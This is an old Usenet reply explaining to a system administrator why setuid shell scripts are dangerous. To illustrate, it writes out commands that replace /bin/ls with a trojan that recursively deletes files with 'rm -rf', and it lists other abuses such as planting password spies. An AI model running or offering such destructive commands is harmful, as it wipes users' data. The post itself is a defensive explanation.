Path: utzoo!attcan!uunet!peregrine!elroy!ames!ucsd!ucsdhub!jack!nusdhub!rwhite
From: rwhite@nusdhub.UUCP (Robert C. White Jr.)
Newsgroups: comp.unix.wizards
Subject: Re: show me
Message-ID: <1123@nusdhub.UUCP>
Date: 1 Aug 88 19:27:22 GMT
References: <43200021@uicsrd.csrd.uiuc.edu>
Organization: National University, San Diego
Lines: 43

in article <43200021@uicsrd.csrd.uiuc.edu>, kai@uicsrd.csrd.uiuc.edu says:
> Nf-ID: #N:uicsrd.csrd.uiuc.edu:43200021:000:427
> Nf-From: uicsrd.csrd.uiuc.edu!kai    Jul 27 20:53:00 1988
> 
> 
> I've seen talk about how unsafe setuid shell scripts are, but haven't ever
> seen any examples that prove this.  Would someone please explain to me know
> why, as a system administrator, I shouldn't ever use setuid/setgid shell
> scripts?
> 
> Are these problems specific to particular versions of UNIX, or particular
> shell types (sh, csh, ksh, perl) or version of those shells?

As an example, just for nastyness' sake would be (under setuid root or bin
shell, a use executes teh following):

rm /bin/ls
cat >/bin/ls <<'EOM'
find . -print -depth |
xargs rm -rf
EOM
chmod ugo+x /bin/ls

Once the above has been executed by someone who can actually write in the
bin directory, every user who attempts to "ls" their files will be
deleting them instead.  Granted, you would probably catch this one
fast--if you had proper backups you might even be able to recover--
but how often do you use "ls," and have you ever ls(ed) /; /dev; /bin;
/usr; /boot; or /etc when you were loged in with sufficient permissions
do have doe a little harm with "rm"?

Other things that can be done are:
	Making confidential fiels publicly accessable.
	Linking/unlinking files to/from a given location.
	Running aledgidly secure programs (e.g. payroll).
	Adjusting/reseting tunable parameters.
	Setting other programs sueuid/setgrid.
	Adding password spys (e.g. moving and shelling over passwd).
	Setting a file 600 and tehn giving it away.

There are more, but I think you can get the point.

Rob.